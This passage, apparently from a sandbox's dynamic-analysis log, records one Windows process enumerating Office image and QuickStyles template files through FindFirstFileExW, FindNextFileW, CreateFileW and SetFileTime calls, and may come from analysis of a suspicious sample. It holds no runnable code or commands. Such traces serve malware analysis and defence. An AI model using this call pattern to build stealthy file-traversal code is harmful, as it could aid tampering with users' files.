ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR20F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x42ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR21F.GIF", cAlternateFileName="")) returned 1 [0069.645] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcd6030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1983, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR22F.GIF", cAlternateFileName="")) returned 1 [0069.646] GetLastError () returned 0x12 [0069.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.646] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.647] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1063ed8) returned 1 [0069.647] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.647] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.648] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.648] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.648] NtClose (Handle=0xec) returned 0x0 [0069.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.648] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.650] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.650] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95af5900, ftLastWriteTime.dwHighDateTime=0x1c7e846, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="")) returned 1 [0069.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063ed8 [0069.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ed58 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1075f80 [0069.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.651] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x23e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.dotx", cAlternateFileName="")) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ed78 [0069.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076088 [0069.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.652] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultBlackAndWhite.dotx", cAlternateFileName="")) returned 1 [0069.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.652] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.652] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ed98 [0069.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076190 [0069.652] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.652] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="Distinctive.dotx", cAlternateFileName="")) returned 1 [0069.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.652] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.652] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106edb8 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076298 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3f40) returned 0x107ba48 [0069.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.653] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x222a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elegant.dotx", cAlternateFileName="")) returned 1 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106edd8 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10763a0 [0069.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.653] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x221b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy.dotx", cAlternateFileName="")) returned 1 [0069.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.654] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.654] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106edf8 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10764a8 [0069.654] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.654] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Formal.dotx", cAlternateFileName="")) returned 1 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.654] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.654] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ee18 [0069.654] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10765b0 [0069.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.655] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manuscript.dotx", cAlternateFileName="")) returned 1 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ee38 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10766b8 [0069.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.655] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modern.dotx", cAlternateFileName="")) returned 1 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ee58 [0069.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10767c0 [0069.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.656] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x8ce63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.dotx", cAlternateFileName="")) returned 1 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ee78 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10768c8 [0069.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.656] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.dotx", cAlternateFileName="")) returned 1 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106ee98 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10769d0 [0069.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.657] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.dotx", cAlternateFileName="")) returned 1 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106eeb8 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076ad8 [0069.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.657] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.dotx", cAlternateFileName="")) returned 1 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.657] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106eed8 [0069.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076be0 [0069.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.658] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 1 [0069.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106eef8 [0069.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1076ce8 [0069.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.658] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 0 [0069.658] GetLastError () returned 0x12 [0069.658] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.658] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95af5900, ftLastWriteTime.dwHighDateTime=0x1c7e846, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x23e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.dotx", cAlternateFileName="")) returned 1 [0069.659] 